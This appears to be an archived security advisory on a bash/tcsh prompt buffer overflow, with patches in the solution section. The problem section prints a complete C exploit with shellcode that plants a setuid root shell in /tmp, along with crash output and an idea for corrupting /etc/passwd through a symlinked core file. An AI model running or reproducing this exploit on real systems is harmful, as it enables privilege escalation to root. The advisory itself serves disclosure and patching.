COMMAND

    bash and tcsh

SYSTEMS AFFECTED

    Systems running bash 1.14.7(1), 2.0.0 (Linux, others?)

PROBLEM

    Before you  read on,  take a  look at  'mUNIXes' section  at 'bash
    #3'  found  by  Razvan  Dragomirescu  which found basicly the same
    thing.

    Joao Manuel Carolino found following.  If you cd in to a directory
    which has a  path name larger  than 1024 bytes  and you have  '\w'
    included in your PS1 environment variable (which makes the path to
    the current working directory appear in each command line prompt),
    a  buffer  overflow  will  occur.   The  following  was  tested on
    Slackware 3.5:

	einstein:~# gdb bash
	[...]
	(gdb) r
	Starting program: /bin/bash
	bash# PS1='\w '
	~ cd /tmp
	/tmp mkdir `perl -e 'print "A" x 255'`
	/tmp mkdir `perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`
	/tmp mkdir `perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`
	/tmp mkdir `perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`
	/tmp mkdir `perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`/`perl -e 'print "A" x 255'`
	/tmp cd
	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	A/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	AA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	AAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	AAAA/
	(no debugging symbols found)...(no debugging symbols found)...
	Program received signal SIGSEGV, Segmentation fault.
	0x804ed72 in sigprocmask ()
	(gdb) backtrace
	#0  0x804ed72 in sigprocmask ()
	#1  0xe9 in ?? ()
	#2  0x41414141 in ?? ()
	Cannot access memory at address 0x41414141.

    Following exploit was tested on Linux x86 systems:

	Debian 1.3.1, bash 2.0.0(1)
	Red Hat 5.0, bash 1.4.17(1)

    How it works?  Run it as ordinary user:

	[debian]:~$ id
	uid=1000(test) gid=1000(test) groups=1000(test)
	[debian]:~$ ./bashps1
	BASH '\w' option in PS1 exploit example
	- Creating /tmp/tp.c
	- Compiling /tmp/tp.c to /tmp/tp
	- Removing /tmp/tp.c
	- Creating directories AAA.../AAA.../AAA.../CODE.../ADDR...
	- OK

    If everything goes fine you should have 'tp' file in /tmp dir:

	[debian]:~$ ls -l /tmp/tp
	-rwxr-xr-x   1 test     test         3981 Sep  4 20:54 tp

    Then as root do:

	bash# export PS1='bash:\w\$ '
	debian:~# cd ~test
	debian:/home/test# cd AAAAAAAA*/*/*/*/*
	shell-init: could not get current directory: getwd: cannot access parent directories
	shell-init: could not get current directory: getwd: cannot access parent directories

    The bash dies... Check if there is suid shell in tmp dir:

	[debian]:~$ ls -l /tmp/sh
	-rwsr-sr-x   1 root     root       304676 Sep  4 20:55 sh

    Remember,  whole  directories  are  treated  here as x86 assembler
    instructions, so AAA.../AAA... are:

	incl    %ecx
	incl    %ecx
	incl    %ecx
	...
	das
	incl    %ecx
	incl    %ecx
	incl    %ecx
	...

    So you can't change it on ordinary words, unless you know what you
    are doing.  Here is it the code:

    /*
     *      BASH: '\w' in PS1 environment variable - x86 exploit
     *      by Miroslaw Grzybek <mig@zeus.polsl.gliwice.pl>
     *
     *              - tested on: DEBIAN LINUX 1.3.1, BASH 2.0.0(1)
     *                           RED HAT LINUX 5.0, BASH 1.4.17(1)
     *
     *      THIS IS FOR EDUCATIONAL PURPOSES ONLY
     *      USE IT AT YOUR OWN RISK
     *
     *      When run, this program creates directories:
     *       AAAAAA....../AAAAAA....../AAAAAA....../CODE......./RETADDR.....
     *       (255 bytes)  (255 bytes)  (255 bytes)  (50 bytes)  (255 bytes)
     *
     *      When you have '\w' included in your PS1 env. variable and
     *      enter to the last of this directories, then "/tmp/tp" program is
     *      executed and SUID shell "/tmp/sh" is created
     */

    #include        <unistd.h>

    /*
     *      Code we would like to run when stack is smashed
     */
    char code[] =
	    "\xeb\x24"              /* jmp    GETADDR         */
				    /* RUNPROG:               */
	    "\x5e"                  /* popl   %esi            */
	    "\x89\x76\x08"          /* movl   %esi,0x8(%esi)  */
	    "\x31\xc0"              /* xorl   %eax,%eax       */
	    "\x88\x46\x07"          /* movb   %al,0x7(%esi)   */
	    "\x89\x46\x0c"          /* movl   %eax,0xc(%esi)  */
	    "\xfe\x06"              /* incb   (%esi)          */
	    "\xfe\x46\x04"          /* incb   0x4(%esi)       */
	    "\xb0\x0b"              /* movb   $0xb,%al        */
	    "\x89\xf3"              /* movl   %esi,%ebx       */
	    "\x8d\x4e\x08"          /* leal   0x8(%esi),%ecx  */
	    "\x8d\x56\x0c"          /* leal   0xc(%esi),%edx  */
	    "\xcd\x80"              /* int    $0x80           */
	    "\x31\xdb"              /* xorl   %ebx,%ebx       */
	    "\x89\xd8"              /* movl   %ebx,%eax       */
	    "\x40"                  /* incl   %eax            */
	    "\xcd\x80"              /* int    $0x80           */
				    /* GETADDR:               */
	    "\xe8\xd7\xff\xff\xff"  /* call   RUNPROG         */
	    ".tmp.tp";              /* Program to run .XXX.XX */

    /*
     *      Return address, you may have to change it if expl. doesn't works
     */
    int ADDR=0xbffff2ff;

    void main(void) {
	    char dir[256];
	    int i, align;

	    printf("BASH '\\w' option in PS1 exploit example\n");

	    printf("- Creating /tmp/tp.c\n");
	    system("echo 'main() {'                        >  /tmp/tp.c");
	    system("echo 'system(\"cp /bin/sh /tmp/sh\");' >> /tmp/tp.c");
	    system("echo 'system(\"chmod +s /tmp/sh\");'   >> /tmp/tp.c");
	    system("echo '}'                               >> /tmp/tp.c");

	    printf("- Compiling /tmp/tp.c to /tmp/tp\n");
	    system("gcc -o /tmp/tp /tmp/tp.c");

	    printf("- Removing /tmp/tp.c\n");
	    system("rm -f /tmp/tp.c");

	    /* Computing alignment for the 'address' directory */
	    getcwd(dir,255);
	    align=(strlen(dir)+2) % 4;

	    memset(dir,'A',255);
	    dir[255]=0;

	    printf("- Creating directories AAA.../AAA.../AAA.../CODE.../ADDR...\n");
	    mkdir(dir,0777);
	    chdir(dir);
	    mkdir(dir,0777);
	    chdir(dir);
	    mkdir(dir,0777);
	    chdir(dir);

	    /* create directory which name is our code */
	    mkdir(code,0777);
	    chdir(code);

	    /* create directory which name is return addresses */
	    for(i=align;i<252;i+=4) *(int *)&dir[i]=ADDR;
	    mkdir(dir,0777);
	    chdir("../../../../");

	    printf("- OK\n\n");
    }

    Setting PS1 to any  long string will have  the same effect.   This
    is  a  bug  in  libreadline  (more precisely, in rl_redisplay() in
    .../lib/readline/display.c),   and   it   is   still   present  in
    bash-2.02.1.   Some further  looking revealed  bash segfaulted  on
    doing a strlen on the  length of the cwd, after  getcwd() returned
    NULL since the cwd was too long.

    Possible exploit could  lead intruder to  make symbolic link  of a
    /etc/passwd with core.  Now,  if root for whatever reason  decides
    to cd  into this...then  the shell  will die  and core  which will
    follow the symlink and corrupt /etc/passwd.

    Wichert  Akkerman  found  tcsh  has  the  same  problems. Although
    tcsh-scripts are very uncommon, it's still exploitable.

SOLUTION

    This is a bug in libreadline (more precisely, in rl_redisplay() in
    .../lib/readline/display.c),   and   it   is   still   present  in
    bash-2.02.1.   Some further  looking revealed  bash segfaulted  on
    doing a strlen on the  length of the cwd, after  getcwd() returned
    NULL since the cwd was too  long.  Both patches follows (last  one
    fixes that  by setting  PWD to  "." if  the cwd  is too long).  It
    seems this was fixed in bash-2.02.
    Patch No1:

    diff -ru bash-2.02.1.orig/lib/readline/display.c bash-2.02.1/lib/readline/display.c
    --- bash-2.02.1.orig/lib/readline/display.c     Sat Sep  5 14:51:29 1998
    +++ bash-2.02.1/lib/readline/display.c  Sat Sep  5 15:08:57 1998
    @@ -307,6 +307,20 @@
	 }
     }

    +static void
    +_rl_extend_buffers (int max_size)
    +{
    +  if (max_size >= line_size)
    +    {
    +      while (max_size >= line_size)
    +       {
    +         line_size *= 2;
    +       }
    +      visible_line = xrealloc (visible_line, line_size);
    +      invisible_line = xrealloc (invisible_line, line_size);
    +    }
    +}
    +
     /* Basic redisplay algorithm. */
     void
     rl_redisplay ()
    @@ -373,6 +387,8 @@

	   if (local_len > 0)
	    {
    +         _rl_extend_buffers(out + local_len);
    +         line = invisible_line;
	      strncpy (line + out, local_prompt, local_len);
	      out += local_len;
	    }
    @@ -399,6 +415,8 @@
	    }

	   pmtlen = strlen (prompt_this_line);
    +      _rl_extend_buffers(out + pmtlen);
    +      line = invisible_line;
	   strncpy (line + out,  prompt_this_line, pmtlen);
	   out += pmtlen;
	   line[out] = '\0';
    @@ -440,13 +458,8 @@
	 {
	   c = (unsigned char)rl_line_buffer[in];

    -      if (out + 8 >= line_size)                /* XXX - 8 for \t */
    -       {
    -         line_size *= 2;
    -         visible_line = xrealloc (visible_line, line_size);
    -         invisible_line = xrealloc (invisible_line, line_size);
    -         line = invisible_line;
    -       }
    +      _rl_extend_buffers(out + 8);     /* XXX - 8 for \t */
    +      line = invisible_line;

	   if (in == rl_point)
	    {

    Patch No2:

    diff -ru org/bash-2.01.1/builtins/cd.def bash-2.01.1/builtins/cd.def
    --- org/bash-2.01.1/builtins/cd.def     Fri Apr 11 18:55:47 1997
    +++ bash-2.01.1/builtins/cd.def Sun Sep  6 00:53:16 1998
    @@ -146,11 +146,19 @@
	  needing a remake. */
       if (old_anm == 0 && array_needs_making && exported_p (tvar))
	 {
    -      pwdvar = xmalloc (strlen (dirname) + 5); /* 5 = "PWD" + '=' + '\0' */
    -      strcpy (pwdvar, "PWD=");
    -      strcpy (pwdvar + 4, dirname);
    -      add_or_supercede_exported_var (pwdvar, 0);
    -      array_needs_making = 0;
    +      if (dirname!=0)
    +        {
    +          pwdvar = xmalloc (strlen (dirname) + 5);     /* 5 = "PWD" + '=' + '\0' */
    +          strcpy (pwdvar, "PWD=");
    +          strcpy (pwdvar + 4, dirname);
    +        }
    +      else
    +        {
    +          pwdvar=xmalloc (6);
    +          strcpy (pwdvar, "PWD=.");
    +        }
    +        add_or_supercede_exported_var (pwdvar, 0);
    +        array_needs_making = 0;
	 }

       FREE (dirname);

    Patch for tcsh (Note: not  all systems have getcwd()... This  will
    have to be fixed in the next version):

    --- tcsh-6.07.06.orig/sh.dir.c
    +++ tcsh-6.07.06/sh.dir.c
    @@ -78,7 +78,7 @@
	 char    path[MAXPATHLEN];

	 /* Don't believe the login shell home, because it may be a symlink */
    -    tcp = (char *) getwd(path);
    +    tcp = (char *) getcwd(path, MAXPATHLEN);
	 if (tcp == NULL || *tcp == '\0') {
	    xprintf("%s: %s\n", progname, path);
	    if (hp && *hp) {
    @@ -549,7 +549,8 @@
	 }
     #endif /* apollo */

    -    (void) strcpy(ebuf, short2str(cp));
    +    (void) strncpy(ebuf, short2str(cp), MAXPATHLEN);   // WTA: make sure we don't overflow ebuf
    +    ebuf[MAXPATHLEN-1]=0;
	 /*
	  * if we are ignoring symlinks, try to fix relatives now.
	  * if we are expading symlinks, it should be done by now.
    @@ -1061,7 +1062,7 @@
     #endif /* apollo */
		    continue;       /* canonicalize the link */
		}
    -#endif /* S_IFLNK */
    +#endif /* S_IFLNKXYZ */
		if (slash)
		    *p = '/';
	    }
    @@ -1096,7 +1097,8 @@
	    /*
	     * Start comparing dev & ino backwards
	     */
    -       p2 = Strcpy(link, cp);
    +       p2 = Strncpy(link, cp, MAXPATHLEN); // WTA: remember that length-check!
    +       link[MAXPATHLEN-1]=0;
	    found = 0;
	    while (*p2 && stat(short2str(p2), &statbuf) != -1) {
		if (DEV_DEV_COMPARE(statbuf.st_dev, home_dev) &&
    @@ -1119,7 +1121,7 @@
		cp = newcp;
	    }
	 }
    -#endif /* S_IFLNK */
    +#endif /* S_IFLNKXYZ */

     #ifdef apollo
	 if (slashslash) {
    @@ -1255,7 +1257,9 @@
		    return (0);
	    }
	 }
    -    (void) Strcpy(s, dp->di_name);
    +
    +    (void) Strncpy(s, dp->di_name, MAXPATHLEN); // WTA: assume MAXPATHLEN is okay
    +    s[MAXPATHLEN-1]=0;
	 return (1);
     }